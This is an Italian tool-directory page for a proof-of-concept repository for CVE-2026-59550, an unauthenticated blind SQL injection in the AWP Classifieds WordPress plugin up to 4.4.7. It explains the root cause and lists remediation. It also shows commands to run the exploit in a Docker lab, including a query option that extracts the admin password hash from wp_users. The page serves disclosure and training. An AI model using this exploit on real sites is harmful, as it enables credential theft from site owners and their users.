Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-59550 — PoC di SQL injection blind basata sul tempo non autenticata per AWP Classifieds <= 4.4.7, con un laboratorio Docker, writeup completo e diff della patch. | Kitploit
Strumenti/GitHubGitHub/flx-0x00/cve-2026-59550
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration TestingPaper e RicercaApprendimento e FormazioneLab e Pratica
GitHubflx-0x00/cve-2026-59550

CVE-2026-59550

PoC di SQL injection blind basata sul tempo non autenticata per AWP Classifieds <= 4.4.7, con un laboratorio Docker, writeup completo e diff della patch.

Vedi Repository
28h 32m faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-59550 - AWP Classifieds ≤ 4.4.7 SQL injection non autenticata

Blind SQL injection basata sul tempo e non autenticata nel plugin WordPress AWP Classifieds (another-wordpress-classifieds-plugin), raggiungibile tramite il flusso AJAX anonimo (guest) di invio annunci del plugin.

CVECVE-2026-59550
PluginAWP Classifieds (another-wordpress-classifieds-plugin)
Vulnerabile<= 4.4.7
Corretto4.4.8
ClasseSQL Injection (OWASP A3: Injection)
PrivilegioNon autenticato
CVSS v3.19.3 (Alto)
SinkAWPCP_BasicRegionsAPI::save() - includes/regions-api.php
Segnalato daThaer Assfour (tramite Patchstack)
Advisoryhttps://patchstack.com/database/wordpress/plugin/another-wordpress-classifieds-plugin/vulnerability/wordpress-awp-classifieds-plugin-4-4-7-sql-injection-vulnerability

TL;DR

AWPCP_BasicRegionsAPI::save() inoltra le chiavi di un array regions fornito dall'utente direttamente in $wpdb->insert() / $wpdb->update(). WordPress racchiude i nomi delle colonne tra backtick ma non li esegue l'escape, quindi una chiave contenente un backtick esce dall'identificatore e inietta SQL arbitrario. L'array regions viene preso letteralmente da $_POST e l'intera catena è raggiungibile senza autenticazione ogni volta che la pubblicazione di annunci da parte degli ospiti è abilitata (requireuserregistration = 0, il valore predefinito).

La correzione nella 4.4.8 aggiunge una allowlist esplicita di colonne (filter_region_columns()) e una allowlist di campi per le regioni inviate (prepare_submitted_region()).

Struttura del repository

root@kitploit:~
.
├── README.md                     # this file
├── docs/
│   └── WRITEUP.md                # full technical writeup
├── exploit/
│   ├── exploit.py                # unauthenticated blind SQLi PoC
│   └── requirements.txt
├── lab/
│   ├── docker-compose.yml        # WordPress 6.8 + MariaDB 11, vuln + patched
│   ├── setup.sh                  # stage plugins, boot, provision both sites
│   └── teardown.sh               # remove containers + volumes + staged files
└── patches/
    ├── 4.4.8-regions-api.diff    # the security fix (single file)
    └── 4.4.7-to-4.4.8-full.diff  # complete release diff

Avvio rapido

Requisiti: Docker + Docker Compose, Python 3 con requests, unzip.

root@kitploit:~
# 1. build and provision the disposable lab (Docker only)
cd lab
./setup.sh /path/to/another-wordpress-classifieds-plugin.4.4.7.zip \
           /path/to/another-wordpress-classifieds-plugin.4.4.8.zip
#   -> vulnerable (4.4.7): http://localhost:8080/?page_id=8
#   -> patched    (4.4.8): http://localhost:8090/?page_id=8

# 2. run the PoC
cd ../exploit
python3 -m pip install -r requirements.txt
python3 exploit.py http://localhost:8080            # should be VULNERABLE
python3 exploit.py http://localhost:8090            # should be PATCHED

# 3. tear everything down
cd ../lab && ./teardown.sh

setup.sh accetta i due archivi del plugin come argomenti o tramite le variabili d'ambiente AWP447_ZIP / AWP448_ZIP; in mancanza ricade su ~/Downloads/<slug>.4.4.7.zip e ~/Downloads/<slug>.4.4.8.zip. Gli archivi non sono inclusi in questo repository - le copie grezze del core di WordPress e del plugin risiedono solo all'interno di lab/html-*/ e sono escluse da git.

Cosa fa il PoC

root@kitploit:~
[*] target          : http://localhost:8080
[+] anonymous listing=17 transaction=e40d5a20c91e22db865cb6612f5c2908 nonce=f59eb541e1
[*] probing time-based oracle
[+] target is VULNERABLE to unauthenticated blind SQL injection
  [+] admin / $wp$2y$10$AcAkM9QXI8OnCEEdht5G.eMnUX5y6Esb2BTEPN
[*] extracting data without authentication
[+] DBMS version  : 11.8.9-MariaDB
[+] first WP user : admin

Estrai dati arbitrari con una query esplicita:

root@kitploit:~
python3 exploit.py http://localhost:8080 \
  --query "SELECT user_pass FROM wp_users ORDER BY ID LIMIT 1" \
  --maxlen 60

Il PoC è un oracolo basato sul tempo, quindi non necessita di alcuna riflessione dell'output SQL e funziona su un target completamente blind.

La causa principale in una riga

root@kitploit:~
// includes/regions-api.php (4.4.7)
public function save( $region ) {
    ...
    $result = $this->db->insert( AWPCP_TABLE_AD_REGIONS, $region ); // keys -> SQL identifiers
}

Consulta docs/WRITEUP.md per l'analisi completa del taint, la traccia della richiesta, la prova dell'SQL generato e la discussione sulla correzione.

Remediation

  • Aggiorna AWP Classifieds alla versione 4.4.8 o successiva.
  • Nel frattempo: imponi requireuserregistration = 1 e/o blocca le azioni AJAX awpcp_save_listing_information / awpcp_create_empty_listing.

Note legali

Questo materiale è fornito esclusivamente per ricerca difensiva sulla sicurezza, formazione e test autorizzati. Non utilizzarlo contro sistemi di cui non sei proprietario o per i quali non disponi di esplicita autorizzazione scritta per eseguire test. Il lab è completamente containerizzato e usa e getta.

Scarica lo strumento